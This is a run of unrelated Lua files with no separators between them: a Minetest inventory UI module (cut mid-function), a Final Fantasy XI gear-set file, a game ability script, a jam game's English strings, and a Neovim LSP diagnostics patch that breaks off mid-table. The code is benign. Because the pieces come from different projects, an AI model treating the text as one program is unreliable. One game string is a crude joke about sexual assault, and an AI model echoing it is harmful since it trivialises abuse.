"image_button[10.3,5;.8,.8;ui_search_icon.png;searchbutton;]" .. "tooltip[searchbutton;" ..S("Search") .. "]" end n = n+2 local no_matches = "No matching items" if draw_lite_mode then no_matches = "No matches." end -- Items list if #unified_inventory.filtered_items_list[player_name] == 0 then formspec[n] = "label[8.2,"..ui_peruser.form_header_y..";" .. S(no_matches) .. "]" else local dir = unified_inventory.active_search_direction[player_name] local list_index = unified_inventory.current_index[player_name] local page = math.floor(list_index / (ui_peruser.items_per_page) + 1) local pagemax = math.floor( (#unified_inventory.filtered_items_list[player_name] - 1) / (ui_peruser.items_per_page) + 1) local item = {} for y = 0, ui_peruser.pagerows - 1 do for x = 0, ui_peruser.pagecols - 1 do local name = unified_inventory.filtered_items_list[player_name][list_index] if minetest.registered_items[name] then formspec[n] = "item_image_button[" ..(8.2 + x * 0.7).."," ..(ui_peruser.formspec_y + ui_peruser.page_y + y * 0.7)..";.81,.81;" ..name..";item_button_"..dir.."_" ..unified_inventory.mangle_for_formspec(name)..";]" n = n+1 list_index = list_index + 1 end end end formspec[n] = "label[8.2,"..ui_peruser.form_header_y..";"..S("Page") .. ": " .. S("%s of %s"):format(page,pagemax).."]" end n= n+1 if unified_inventory.activefilter[player_name] ~= "" then formspec[n] = "label[8.2,"..(ui_peruser.form_header_y + 0.4)..";" .. S("Filter") .. ":]" formspec[n+1] = "label[9.1,"..(ui_peruser.form_header_y + 0.4)..";"..minetest.formspec_escape(unified_inventory.activefilter[player_name]).."]" end return table.concat(formspec, "") end function unified_inventory.set_inventory_formspec(player, page) if player then player:set_inventory_formspec(unified_inventory.get_formspec(player, page)) end end --apply filter to the inventory list (create filtered copy of full one) function unified_inventory.apply_filter(player, filter, search_dir) if not player then return false end local player_name = player:get_player_name() local lfilter = string.lower(filter) local ffilter if lfilter:sub(1, 6) == "group:" then local groups = lfilter:sub(7):split(",") ffilter = function(name, def) for _, group in ipairs(groups) do if not def.groups[group] or def.groups[group] <= 0 then return false end end return true end else ffilter = function(name, def) local lname = string.lower(name) local ldesc = string.lower(def.description) return string.find(lname, lfilter, 1, true) or string.find(ldesc, lfilter, 1, true) end end unified_inventory.filtered_items_list[player_name]={} for name, def in pairs(minetest.registered_items) do if (not def.groups.not_in_creative_inventory or def.groups.not_in_creative_inventory == 0) and def.description and def.description ~= "" and ffilter(name, def) and (unified_inventory.is_creative(player_name) or unified_inventory.crafts_for.recipe[def.name]) then table.insert(unified_inventory.filtered_items_list[player_name], name) end end table.sort(unified_inventory.filtered_items_list[player_name]) unified_inventory.filtered_items_list_size[player_name] = #unified_inventory.filtered_items_list[player_name] unified_inventory.current_index[player_name] = 1 unified_inventory.activefilter[player_name] = filter unified_inventory.active_search_direction[player_name] = search_dir unified_inventory.set_inventory_formspec(player, unified_inventory.current_page[player_name]) end function unified_inventory.items_in_group(groups) local items = {} for name, item in pairs(minetest.registered_items) do for _, group in pairs(groups:split(',')) do if item.groups[group] then table.insert(items, name) end end end return items end function unified_inventory.sort_inventory(inv) local inlist = inv:get_list("main") local typecnt = {} local typekeys = {} for _, st in ipairs(inlist) do if not st:is_empty() then local n = st:get_name() local w = st:get_wear() local m = st:get_metadata() local k = string.format("%s %05d %s", n, w, m) if not typecnt[k] then typecnt[k] = { name = n, wear = w, metadata = m, stack_max = st:get_stack_max(), count = 0, } table.insert(typekeys, k) end typecnt[k].count = typecnt[k].count + st:get_count() end end table.sort(typekeys) local outlist = {} for _, k in ipairs(typekeys) do local tc = typecnt[k] while tc.count > 0 do local c = math.min(tc.count, tc.stack_max) table.insert(outlist, ItemStack({ name = tc.name, wear = tc.wear, metadata = tc.metadata, count = c, })) tc.count = tc.count - c end end if #outlist > #inlist then return end while #outlist < #inlist do table.insert(outlist, ItemStack(nil)) end inv:set_list("main", outlist) end
return Component.create("SpawnMe", {"size", "position", "motion", "damping", "impulse"})
-- Define sets and vars used by this job file. function init_gear_sets() gear.melee = {} gear.melee.back = { name="Ankou's Mantle", augments={'STR+20','Accuracy+20 Attack+20','STR+10','"Dbl.Atk."+10','Damage taken-5%',}} gear.melee.feet = { name="Argosy Sollerets +1", augments={'HP+65','"Dbl.Atk."+3','"Store TP"+5',}} gear.acc = {} gear.acc.head = { name="Valorous Mask", augments={'Accuracy+25 Attack+25','STR+10','Accuracy+15','Attack+6',}} gear.wsdmg = {} gear.wsdmg.head = { name="Valorous Mask", augments={'Weapon skill damage +4%','STR+4','Accuracy+12','Attack+15',}} gear.wsdmg.back = { name="Ankou's Mantle", augments={'STR+20','Accuracy+20 Attack+20','STR+10','Weapon skill damage +10%',}} gear.wsdmg.feet = { name="Argosy Sollerets +1", augments={'STR+12','DEX+12','Attack+20',}} sets.HP = {head="Loess Barbuta +1",neck="Lavalier +1",ear1="Etiolation Earring",ear2="Cryptic Earring", body="Ignominy Cuirass +3",hands="Ignominy Gauntlets +2",ring1="Moonbeam Ring",ring2="Regal Ring", back="Moonbeam Cape",waist="Eschan Stone",legs="Flamma Dirs +2",feet="Ratri Sollerets"} sets.precast.FC = {head="Carmine Mask +1",neck="Orunmila's Torque",ear1="Loquacious Earring",ear2="Etiolation Earring", body="Odyssean Chestplate",hands="Leyline Gloves",ring1="Kishar Ring",ring2="Veneficium Ring", waist="Ioskeha Belt",legs="Eschite Cuisses",feet="Odyssean Greaves"} sets.precast.FC.Utsusemi = set_combine(sets.precast.FC, {}) sets.precast.JA['Dark Seal'] = {head="Fallen's Burgeonet +1"} sets.precast.JA['Blood Weapon'] = {body="Fallen's Cuirass +1"} sets.precast.JA['Diabolic Eye'] = {body="Fallen's Finger Gauntlets +1"} sets.precast.JA['Arcane Circle'] = {feet="Ignominy Sollerets +2"} sets.Twilight = {head="Twilight Helm",body="Twilight Mail"} -- Weaponskill sets -- Default set for any weaponskill that isn't any more specifically defined sets.Lugra = {ear1="Lugra Earring +1"} sets.precast.WS = {ammo="Seething Bomblet +1", head="Argosy Celata +1",neck="Fotia Gorget",ear1="Telos Earring",ear2="Moonshade Earring", body="Dagon Breastplate",hands="Argosy Mufflers +1",ring1="Niqmaddu Ring",ring2="Regal Ring", back=gear.melee.back,waist="Fotia Belt",legs="Ignominy Flanchard +3",feet=gear.wsdmg.feet} sets.precast.WS.Acc = set_combine(sets.precast.WS, { ear1="Telos Earring",ear2="Dignitary's Earring", ring1="Niqmaddu Ring",ring2="Regal Ring", legs="Valorous Hose"}) -- Specific weaponskill sets. Uses the base set if an appropriate WSMod version isn't found. sets.precast.WS['Entropy'] = set_combine(sets.precast.WS, { head="Ignominy Burgonet +3",hands="Ignominy Gauntlets +2",feet="Sulevia's Leggings +2"}) sets.precast.WS['Entropy'].Acc = sets.precast.WS.Acc sets.precast.WS['Resolution'] = set_combine(sets.precast.WS) sets.precast.WS['Resolution'].Acc = sets.precast.WS.Acc sets.precast.WS['Torcleaver'] = set_combine(sets.precast.WS, {ammo="Knobkierrie", head=gear.wsdmg.head,body="Ignominy Cuirass +3",hands="Valorous Mitts",back=gear.wsdmg.back,legs="Ignominy Flanchard +3",feet="Sulevia's Leggings +2" }) sets.precast.WS['Torcleaver'].Acc = sets.precast.WS.Acc sets.precast.WS['Scourge'] = sets.precast.WS['Torcleaver'] sets.precast.WS['Scourge'].Acc = sets.precast.WS['Torcleaver'].Acc sets.precast.WS['Cross Reaper'] = sets.precast.WS['Torcleaver'] sets.precast.WS['Cross Reaper'].Acc = sets.precast.WS['Torcleaver'].Acc sets.precast.WS['Quietus'] = sets.precast.WS['Torcleaver'] sets.precast.WS['Quietus'].Acc = sets.precast.WS['Torcleaver'].Acc -- Midcast Sets sets.midcast.FastRecast = { head="Carmine Mask +1",ear2="Loquacious Earring", ring1="Kishar Ring", feet="Founder's Greaves"} sets.midcast['Dark Magic'] = {head="Flamma Zucchetto +2",neck="Erra Pendant",ear1="Gwati Earring",ear2="Dignitary's Earring", body="Carmine Scale Mail",hands="Fallen's Finger Gauntlets +1",ring1="Evanescence Ring",ring2="Archon Ring", back="Niht Mantle",waist="Eschan Stone",legs="Eschite Cuisses",feet="Ratri Sollerets" } sets.midcast.Drain = set_combine(sets.midcast['Dark Magic'], {head="Fallen's Burgeonet +1",legs="Heathen's Flanchard +1"}) sets.midcast.Aspir = sets.midcast['Dark Magic'] sets.midcast.Absorb = set_combine(sets.midcast['Dark Magic'], {head="Ignominy Burgonet +3",back="Ankou's Mantle"}) sets.midcast.Stun = set_combine(sets.midcast['Dark Magic'], { head="Flamma Zucchetto +2",hands="Flamma Manopolas +2",ring2="Stikini Ring",feet="Flamma Gambieras +2" }) sets.midcast['Elemental Magic'] = { head="Jumalik Helm",neck="Sanctity Necklace",ear1="Friomisi Earring",ear2="Crematio Earring", body="Carmine Scale Mail",hands="Leyline Gloves",ring1="Shiva Ring +1",ring2="Acumen Ring", back="Toro Cape",waist="Eschan Stone",legs="Eschite Cuisses",feet="Odyssean Greaves" } sets.midcast['Dread Spikes'] = sets.HP -- any ninjutsu cast on self sets.midcast.SelfNinjutsu = sets.midcast.FastRecast -- any ninjutsu cast on enemies sets.midcast.Ninjutsu = {} --sets.midcast.Ninjutsu.Resistant = {} -- Sets to return to when not performing an action. -- Resting sets sets.resting = {} -- Idle sets (default idle set not needed since the other three are defined, but leaving for testing purposes) sets.idle = {ammo="Ginsen",neck="Bathy Choker +1",ear1="Telos Earring",ear2="Infused Earring", body="Lugra Cloak +1",hands="Sulevia's Gauntlets +2",ring1="Sheltered Ring",ring2="Defending Ring", back="Moonbeam Cape",waist="Flume Belt",legs="Carmine Cuisses +1",feet="Sulevia's Leggings +2"} sets.idle.Town = set_combine(sets.idle, {}) sets.idle.Twilight = set_combine(sets.idle.Town, sets.Twilight) sets.idle.Weak = set_combine(sets.idle.Town, sets.Twilight) -- Defense sets sets.defense.PDT = {ammo="Staunch Tathlum", head="Loess Barbuta +1",neck="Loricate Torque +1", body="Jumalik Mail",hands="Sulevia's Gauntlets +2",ring2="Defending Ring", back="Moonbeam Cape",feet="Sulevia's Leggings +2"} sets.defense.Twilight = set_combine(sets.defense.PDT, sets.Twilight) sets.defense.MDT = set_combine(sets.defense.PDT, {}) sets.Kiting = {legs="Carmine Cuisses +1"} -- Engaged sets -- Variations for TP weapon and (optional) offense/defense modes. Code will fall back on previous -- sets if more refined versions aren't defined. -- If you create a set with both offense and defense modes, the offense mode should be first. -- EG: sets.engaged.Dagger.Accuracy.Evasion -- Normal melee group sets.engaged = {ammo="Ginsen", head="Flamma Zucchetto +2",neck="Abyssal Beads +1",ear1="Telos Earring",ear2="Cessance Earring", body="Dagon Breastplate",hands="Argosy Mufflers +1",ring1="Niqmaddu Ring",ring2="Petrov Ring", back=gear.melee.back,waist="Ioskeha Belt",legs="Argosy Breeches +1",feet=gear.melee.feet} sets.engaged.Ragnarok = set_combine(sets.engaged, {legs="Argosy Breeches +1"}) sets.engaged.Acc = set_combine(sets.engaged, { head="Carmine Mask +1",neck="Combatant's Torque",ear1="Telos Earring",ear2="Dignitary's Earring", body="Ignominy Cuirass +3",hands="Ignominy Gauntlets +2",ring2="Regal Ring", waist="Olseni Belt",legs="Carmine Cuisses +1"}) sets.engaged.Twilight = set_combine(sets.engaged, sets.Twilight) sets.engaged.Acc.Twilight = set_combine(sets.engaged.Acc, sets.Twilight) sets.engaged.PDT = set_combine(sets.engaged, sets.defense.PDT) sets.engaged.Acc.PDT = set_combine(sets.engaged.Acc, sets.defense.PDT) end
----------------------------------------- -- Sleepga ----------------------------------------- require("scripts/globals/monstertpmoves") require("scripts/globals/status") require("scripts/globals/magic") require("scripts/globals/msg") ----------------------------------------- function onAbilityCheck(player, target, ability) return 0, 0 end function onPetAbility(target, pet, skill) local duration = 60 local resm = applyPlayerResistance(pet, -1, target, pet:getStat(tpz.mod.INT)-target:getStat(tpz.mod.INT), tpz.skill.ELEMENTAL_MAGIC, 5) if (resm < 0.5) then skill:setMsg(tpz.msg.basic.JA_MISS_2) -- resist message return tpz.effect.SLEEP_I end duration = duration * resm if (target:hasImmunity(1) or hasSleepEffects(target)) then --No effect skill:setMsg(tpz.msg.basic.SKILL_NO_EFFECT) else skill:setMsg(tpz.msg.basic.SKILL_ENFEEB) target:addStatusEffect(tpz.effect.SLEEP_I, 1, 0, duration) end return tpz.effect.SLEEP_I end
-- Automatic generation from -->> -- excel file name: A_array表示例--cfg_array -- excel sheet name: +example3 local cfg_array_example3 = { -- 演示 level = '啦啦啦!!!' } return cfg_array_example3
DATA_PATH = vim.fn.stdpath("data") CACHE_PATH = vim.fn.stdpath("cache") HOME_PATH = "/home/" .. vim.fn.expand("$USER")
return { locale = "en", name = "English", audio_dir = "assets/audio/en", quotes = { "\"", "\"" }, strings = { -- Main Menu ["new-game"] = { text = "New Game" }, ["new-game-plus"] = { text = "New Game +" }, ["load-game"] = { text = "Load Game" }, ["play-online"] = { text = "Play Online" }, ["credits"] = { text = "Credits" }, ["options"] = { text = "Options" }, ["exit"] = { text = "Exit" }, -- Options Menu ["graphics"] = { text = "Graphics" }, ["audio"] = { text = "Audio" }, ["language"] = { text = "Language" }, ["controls"] = { text = "Controls" }, ["reset-default"] = { text = "Reset to Default" }, ["return-menu"] = { text = "Return to Main Menu" }, ["back"] = { text = "Back" }, -- Graphics Settings ["toggle-fullscreen"] = { text = "Toggle Fullscreen" }, -- Audio Settings ["master-volume"] = { text = "Master Volume" }, ["bgm-volume"] = { text = "BGM Volume" }, ["sfx-volume"] = { text = "SFX Volume" }, -- Language Settings ["toggle-language"] = { text = "Toggle Language" }, -- SCENES ["1_01"] = { text = "Hero: This is it." }, ["1_02"] = { text = "Hero: The moment I’ve been waiting for all this time." }, ["1_03"] = { text = "Hero: The moment of truth…" }, ["1_04"] = { text = "Hero: One last room…" }, ["1_05"] = { text = "Hero: Just… one… room… left…" }, ["1_06"] = { text = "Hero: THE FINAL BOSS." }, ["1_07"] = { text = "Use the MOUSE or RIGHT STICK on your controller to move the camera.\nUse WASD or the LEFT STICK to move your character.\nUse Z or the A BUTTON to attack.\nUse X or the B BUTTON to dodge.\nThe use key is MIDDLE MOUSE or Y BUTTON.\nTo cycle items use your MOUSE WHEEL or the LEFT & RIGHT SHOULDER BUTTONS.\nUse P or START to pause." }, ["2_01"] = { text = "Boss: Silly mortal…" }, ["2_02"] = { text = "Boss: You cannot defeat me!" }, ["2_03"] = { text = "Boss: I am the FINAL BOSS!" }, ["2_04"] = { text = "Hero: Not if I have something…" }, ["2_05"] = { text = "Hero: TO DO WITH IT" }, ["3_01"] = { text = "Boss: Why, Hero? Why, why, why? Why do you do it?" }, ["3_02"] = { text = "Boss: Do you believe you're fighting for something? For more than your survival?" }, ["3_03"] = { text = "Boss: Can you tell me what it is? Do you even know?" }, ["3_04"] = { text = "Boss: Is it freedom? Or truth? Perhaps peace? Could it be for love?" }, ["3_05"] = { text = "Boss: You can't win. It's pointless to keep fighting. Why?" }, ["3_06"] = { text = "Boss: Why do you persist?" }, ["3_07"] = { text = "Hero: Because I choose to." }, ["4_01"] = { text = "Boss: Before I kill you, I must know…" }, ["4_02"] = { text = "Boss: Why are you so filled with anger?" }, ["4_03"] = { text = "Hero: You… don’t remember do you? No…" }, ["4_04"] = { text = "Hero: After my amnesia cleared up, you got my amnesia." }, ["4_05"] = { text = "Hero: You destroyed my village!" }, ["4_06"] = { text = "Hero: You slaughtered my family!" }, ["4_07"] = { text = "Hero: YOU HACKED MY MMO ACCOUNT!" }, ["5_01"] = { text = "Boss: Her power level…" }, ["5_02"] = { text = "Boss: It’s over…" }, ["5_03"] = { text = "Boss: It’s over 9000!" }, ["5_04"] = { text = "Hero: What, 9000? There’s no way that can be right!" }, ["6_01"] = { text = "And our hero finally defeats the final room. Can our hero turn off the game, and walk away? What will our hero do next?" }, ["6_02"] = { text = "No one knows…" }, ["6_03"] = { text = "Perhaps no one cares… unless they tweet about it on twitter. That sounds like the right thing to do." }, ["6_04"] = { text = "I mean, twitter can be pretty engaging, right?" }, ["6_05"] = { text = "Take a screenshot, and tweet that." }, ["6_06"] = { text = "Go ahead, this is a pretty epic moment, if you ask me." }, ["6_07"] = { text = "Maybe give it a funny caption, like “What did I just play?” Maybe even some fun hashtags. I hear #LDJAM is a pretty good one. Maybe tweet at @josefnpat, @shakesoda, @landonmanning or @bytedesigning?" }, ["6_08"] = { text = "…" }, ["6_09"] = { text = "You’re not going to do it, are you?" }, ["6_10"] = { text = "…" }, ["6_11"] = { text = "…" }, ["6_12"] = { text = "Oh well, you can’t say we didn’t try, eh?" }, ["6_13"] = { text = "Oh, you’re still here?" }, ["6_14"] = { text = "Don’t you get it? You won the game." }, -- Don't ask why there isn't a 6_15 ... @josefnpat ["6_16"] = { text = "What, you want more?" }, ["6_17"] = { text = "…" }, ["6_18"] = { text = "Ok, uhhh…" }, ["6_19"] = { text = "I know! Play the game again, but this time, only use one hand!" }, ["6_20"] = { text = "You’ll totally get an achievement for it, I swear!" }, ["7_01"] = { text = "[Tentacle Sounds]" }, ["7_02"] = { text = "[Sounds of Pain]" }, ["7_03"] = { text = "Hero: No! I can't be a bride anymore!" }, ["7_04"] = { text = "[Sobbing]" }, ["7_05"] = { text = "Our hero meets a grim and tragic fate." }, ["7_06"] = { text = "[Evil laughter]" }, ["8_01"] = { text = "Has Anyone Really Been Far Even as Decided to Use Even Go Want to do Look More Like?" }, ["8_02"] = { text = "Yes." }, ["9_01"] = { text = "Yes." }, } }
--- Primarily patches to <https://github.com/neovim/neovim/blob/v0.6.0/runtime/lua/vim/diagnostic.lua> --- and <https://github.com/neovim/neovim/blob/v0.6.0/runtime/lua/vim/lsp/diagnostic.lua>. --- --- TODO: Contribute these to the upstream! This is of utmost importance. local M = require('dotfiles.autoload')('dotfiles.lsp.diagnostics') local vim_diagnostic = require('vim.diagnostic') local Severity = vim_diagnostic.severity local utils = require('dotfiles.utils') local lsp = require('vim.lsp') local utils_vim = require('dotfiles.utils.vim') local lsp_global_settings = require('dotfiles.lsp.global_settings') M.ALL_SEVERITIES = { Severity.ERROR, Severity.WARN, Severity.INFO, Severity.HINT } M.SEVERITY_NAMES = { [Severity.ERROR] = 'error', [Severity.WARN] = 'warning', [Severity.INFO] = 'info', [Severity.HINT] = 'hint', } -- Copied from <https://github.com/neovim/neovim/blob/v0.6.0/runtime/lua/vim/diagnostic.lua#L191-L207>. local function make_highlight_map(base_name) local result = {} for _, severity in ipairs(M.ALL_SEVERITIES) do local name = Severity[severity] result[severity] = 'Diagnostic' .. base_name .. name:sub(1, 1) .. name:sub(2):lower() end return result end M.virtual_text_highlight_map = make_highlight_map('VirtualText') M.underline_highlight_map = make_highlight_map('Underline') M.floating_highlight_map = make_highlight_map('Floating') M.sign_highlight_map = make_highlight_map('Sign') M.underline_tag_highlight_map = {} for name, tag in pairs(lsp.protocol.DiagnosticTag) do if type(name) == 'string' then M.underline_tag_highlight_map[tag] = 'DiagnosticUnderline' .. name end end --- Stolen from <https://github.com/neovim/neovim/blob/v0.6.0/runtime/lua/vim/diagnostic.lua#L68-L74>. function M.to_severity(severity) if type(severity) == 'string' then return assert( M.severity[string.upper(severity)], string.format('Invalid severity: %s', severity) ) end return severity end --- Stolen from <https://github.com/neovim/neovim/blob/v0.6.0/runtime/lua/vim/diagnostic.lua#L76-L91>. function M.filter_by_severity(severity, diagnostics) if not severity then return diagnostics end if type(severity) ~= 'table' then severity = M.to_severity(severity) return vim.tbl_filter(function(t) return t.severity == severity end, diagnostics) end local min_severity = M.to_severity(severity.min) or M.severity.HINT local max_severity = M.to_severity(severity.max) or M.severity.ERROR return vim.tbl_filter(function(t) return t.severity <= min_severity and t.severity >= max_severity end, diagnostics) end -- Copied from <https://github.com/neovim/neovim/blob/v0.6.0/runtime/lua/vim/diagnostic.lua#L962-L998> -- See also <https://github.com/neoclide/coc.nvim/blob/705135211e84725766e434f59e63ae3592c609d9/src/diagnostic/buffer.ts#L255-L264> function vim_diagnostic._get_virt_text_chunks(line_diags, opts) if #line_diags == 0 then return nil end opts = opts or {} local prefix = opts.prefix or '#' local spacing = opts.spacing or 4 local virt_texts = { { string.rep(' ', spacing) } } local main_diag = line_diags[#line_diags] table.insert(virt_texts, { ' ', M.virtual_text_highlight_map[main_diag.severity] }) for i = #line_diags, 1, -1 do local diag = line_diags[i] table.insert(virt_texts, { prefix, M.virtual_text_highlight_map[diag.severity] }) end local str = ' ' if main_diag.message then str = ' ' .. main_diag.message:gsub('\r', ' \\ '):gsub('\n', ' \\ ') .. ' ' end table.insert(virt_texts, { str, M.virtual_text_highlight_map[main_diag.severity] }) return virt_texts end local orig_underline_handler_show = vim_diagnostic.handlers.underline.show -- Replacement for <https://github.com/neovim/neovim/blob/v0.6.0/runtime/lua/vim/diagnostic.lua#L859-L897>. -- Handles LSP DiagnosticTags, see <https://microsoft.github.io/language-server-protocol/specifications/specification-3-17/#diagnosticTag>. function vim_diagnostic.handlers.underline.show(namespace, bufnr, diagnostics, opts, ...) vim.validate({ namespace = { namespace, 'number' }, bufnr = { bufnr, 'number' }, diagnostics = { diagnostics, 'table' }, opts = { opts, 'table', true }, }) bufnr = utils_vim.normalize_bufnr(bufnr) if opts.underline and opts.underline.severity then diagnostics = M.filter_by_severity(opts.underline.severity, diagnostics) end local ns = vim_diagnostic.get_namespace(namespace) if not ns.user_data.underline_ns then ns.user_data.underline_ns = vim.api.nvim_create_namespace('') end for _, diagnostic in ipairs(diagnostics) do vim.highlight.range( bufnr, ns.user_data.underline_ns, -- The changed part (abstracted in a function): M.get_underline_highlight_group(diagnostic), { diagnostic.lnum, diagnostic.col }, { diagnostic.end_lnum, diagnostic.end_col } ) end -- The original handler must still be run afterwards because it includes some -- logic for saving extmarks, available only via local functions. This is -- most likely a fix for some bug, so we want our extmarks to be saved too, -- but not for the original handler to create new extmarks, so we <del>patch -- out the `vim.highlight.range` function that it uses and still call -- it</del> on a second thought, no checking is performed to see if the -- diagnostics list is empty, so let's just call it with an empty table. Note -- that the `hide` function of the handler deletes the saved extmarks, but we -- don't need to override it since it is working just fine from our -- perspective. return orig_underline_handler_show(namespace, bufnr, {}, opts, ...) end -- See also: <https://github.com/neoclide/coc.nvim/blob/705135211e84725766e434f59e63ae3592c609d9/src/diagnostic/buffer.ts#L342-L362> function M.get_underline_highlight_group(diagnostic) for _, tag in ipairs(((diagnostic.user_data or {}).lsp or {}).tags or {}) do local higroup = M.underline_tag_highlight_map[tag] if higroup then return higroup end end local higroup = M.underline_highlight_map[diagnostic.severity] if higroup then return higroup end return M.underline_highlight_map[Severity.ERROR] -- fallback end --- Based on <https://github.com/neovim/neovim/blob/v0.6.0/runtime/lua/vim/diagnostic.lua#L434-L456>. function M.set_list(loclist, opts) opts = opts or {} local winnr, bufnr if loclist then winnr = opts.winnr or 0 bufnr = vim.api.nvim_win_get_buf(winnr) end local title = opts.title or ('Diagnostics from ' .. vim.fn.expand('%:.')) local items = vim_diagnostic.toqflist(vim_diagnostic.get(bufnr, opts)) utils_vim.echo({ { string.format('Found %d diagnostics', #items) } }) vim.call('dotfiles#utils#push_qf_list', { title = title, dotfiles_loclist_window = winnr, dotfiles_auto_open = opts.open, items = items, }) end --- Replaces <https://github.com/neovim/neovim/blob/v0.6.0/runtime/lua/vim/diagnostic.lua#L1335-L1344>. function vim_diagnostic.setqflist(opts) return M.set_list(false, opts) end --- Replaces <https://github.com/neovim/neovim/blob/v0.6.0/runtime/lua/vim/diagnostic.lua#L1346-L1356>. function vim_diagnostic.setloclist(opts) return M.set_list(true, opts) end -- Copied from <https://github.com/neovim/neovim/blob/v0.6.0/runtime/lua/vim/diagnostic.lua#L1484-L1489>. M.LOCLIST_TYPE_MAP = { [Severity.ERROR] = 'E', [Severity.WARN] = 'W', [Severity.INFO] = 'I', [Severity.HINT] = 'N', } -- Copy of <https://github.com/neovim/neovim/blob/v0.6.0/runtime/lua/vim/diagnostic.lua#L1491-L1520>, -- plus some formatting. See also <https://github.com/neoclide/coc.nvim/blob/0ad03ca857ae9ea30e51d7d8317096e1d378aa41/src/list/source/diagnostics.ts#L26-L30>. function vim_diagnostic.toqflist(diagnostics) vim.validate({ diagnostics = { diagnostics, 'table' }, }) local items = {} for i, v in pairs(diagnostics) do items[i] = { bufnr = v.bufnr, lnum = v.lnum + 1, col = v.col and (v.col + 1) or nil, end_lnum = v.end_lnum and (v.end_lnum + 1) or nil, end_col = v.end_col and (v.end_col + 1) or nil, type = M.LOCLIST_TYPE_MAP[v.severity] or 'E', -- The only changed part: text = M.format_diagnostic_for_list(v), } end table.sort(items, function(a, b) if a.filename ~= b.filename then return a.filename < b.filename elseif a.lnum ~= b.lnum then return a.lnum < b.lnum else -- Also I've added sorting by the column number return a.col < b.col end end) return items end function M.format_diagnostic_for_list(diag) local meta = {} table.insert(meta, diag.source) table.insert(meta, ((diag.user_data or {}).lsp or {}).code) local text = diag.message:gsub('\n', ' \\ '):gsub('\r', ' \\ ') if #meta > 0 then text = '[' .. table.concat(meta, ' ') .. '] ' .. vim.trim(text) else text = vim.trim(text) end return text end function vim_diagnostic.fromqflist(list) vim.validate({ list = { list, 'table' }, }) -- TODO: Because I apply some formatting to the diagnostic messages in -- toqflist, this will have to handle that and parse the original message. error('not yet implemented') end function M.patch_lsp_diagnostics(diagnostics, client_id) local client = lsp.get_client_by_id(client_id) -- <https://github.com/neoclide/coc.nvim/blob/c49acf35d8c32c16e1f14ab056a15308e0751688/src/diagnostic/collection.ts#L47-L51> for _, diag in ipairs(diagnostics) do if diag.severity == nil then diag.severity = lsp.protocol.DiagnosticSeverity.Error end if diag.message == nil then diag.message = 'unknown diagnostic message' end if diag.source == nil then diag.source = client.name end end end local orig_lsp_diagnostic_save = lsp.diagnostic.save function lsp.diagnostic.save(diagnostics, bufnr, client_id, ...) if diagnostics then M.patch_lsp_diagnostics(diagnostics, client_id) end return orig_lsp_diagnostic_save(diagnostics, bufnr, client_id, ...) end local orig_lsp_diagnostic_on_publish_diagnostics = lsp.diagnostic.on_publish_diagnostics function lsp.diagnostic.on_publish_diagnostics(err, result, ctx, config, ...) if not err and result and result.diagnostics and ctx.client_id then M.patch_lsp_diagnostics(result.diagnostics, ctx.client_id) end return orig_lsp_diagnostic_on_publish_diagnostics(err, result, ctx, config, ...) end -- NOTE: <https://github.com/neovim/neovim/pull/16520> -- NOTE: But still, I added the logging of the current diagnostic, I must PR that (TODO) -- Copied from <https://github.com/neovim/neovim/blob/v0.6.0/runtime/lua/vim/diagnostic.lua#L499-L528>. function M.jump_to_neighbor(opts, diag) if not diag then utils_vim.echomsg({ { 'No more valid diagnostics to move to', 'WarningMsg' } }) return false end opts = opts or {} local float = utils.if_nil(opts.float, true) local winid = opts.win_id or vim.api.nvim_get_current_win() local bufnr = vim.api.nvim_win_get_buf(winid) vim.api.nvim_win_call(winid, function() -- Save position in the window's jumplist vim.cmd("normal! m'") vim.api.nvim_win_set_cursor(winid, { diag.lnum + 1, diag.col }) vim.cmd('normal! zv') end) -- This is inefficient local matching_diags = vim_diagnostic.get(bufnr, opts) table.sort(matching_diags, function(a, b) if a.lnum == b.lnum then return a.col < b.col end return a.lnum < b.lnum end) local current_idx = nil for idx, diag2 in ipairs(matching_diags) do if rawequal(diag2, diag) then current_idx = idx end end if current_idx then local message = string.format( '(%d of %d) %s: %s', current_idx, #matching_diags, M.SEVERITY_NAMES[diag.severity], M.format_diagnostic_for_list(diag) ) utils_vim.echo({ { message } }) end if float then if type(float) ~= 'table' then float = {} end -- Shrug, don't ask me why schedule() is needed. Ask the Nvim maintainers: -- <https://github.com/neovim/neovim/blob/v0.5.0/runtime/lua/vim/lsp/diagnostic.lua#L532>. vim.schedule(function() vim_diagnostic.open_float( bufnr, vim.tbl_extend('keep', float, { scope = 'cursor', focus = false }) ) end) end end function vim_diagnostic.goto_prev(opts) return M.jump_to_neighbor(opts, vim_diagnostic.get_prev(opts)) end function vim_diagnostic.goto_next(opts) return M.jump_to_neighbor(opts, vim_diagnostic.get_next(opts)) end -- This one is a little bit too domain-specfic... Based on -- <https://github.com/neoclide/coc.nvim/blob/eb47e40c52e21a5ce66bee6e51f1fafafe18a232/src/diagnostic/buffer.ts#L225-L253>. function M.get_severity_stats_for_statusline(bufnr, diagnostics) diagnostics = diagnostics or vim_diagnostic.get(bufnr) local severities = { Severity.ERROR, Severity.WARN, Severity.INFO, Severity.HINT, } local diag_counts = {} local diag_first_lines = {} for _, severity in ipairs(severities) do diag_counts[severity] = 0 diag_first_lines[severity] = -1 end for _, diagnostic in ipairs(diagnostics) do local severity = diagnostic.severity diag_counts[severity] = diag_counts[severity] + 1 local line = diagnostic.lnum + 1 local min_first_line = diag_first_lines[severity] diag_first_lines[severity] = min_first_line >= 0 and math.min(min_first_line, line) or line end local vim_result = { count = {}, first_line = {} } for i, severity in ipairs(severities) do vim_result.count[i] = diag_counts[severity] vim_result.first_line[i] = diag_first_lines[severity] end return vim_result end -- Thank God the handlers system exists, it makes my life so much easier. vim_diagnostic.handlers['dotfiles/statusline_stats'] = { show = function(_, bufnr, diagnostics, _) local stats = M.get_severity_stats_for_statusline(bufnr, diagnostics) vim.api.nvim_buf_set_var(bufnr, 'dotfiles_lsp_diagnostics_statusline_stats', stats) end, hide = function(_, bufnr) vim.api.nvim_buf_set_var(bufnr, 'dotfiles_lsp_diagnostics_statusline_stats', vim.NIL) end, } -- And now, for the cherry on the cake. Even I've gotta admit, configuring the -- system declaratively like this instead of hundreds of lines of -- monkey-patches feels pretty Nice. vim_diagnostic.config({ float = { header = '', -- Turn the header off prefix = '', format = M.format_diagnostic_for_list, severity_sort = false, max_width = lsp_global_settings.DIAGNOSTIC_WINDOW_MAX_WIDTH, max_height = lsp_global_settings.DIAGNOSTIC_WINDOW_MAX_HEIGHT, }, underline = true, virtual_text = { prefix = '#', spacing = 1, }, signs = { priority = 10, -- De-conflict with vim-signify. }, 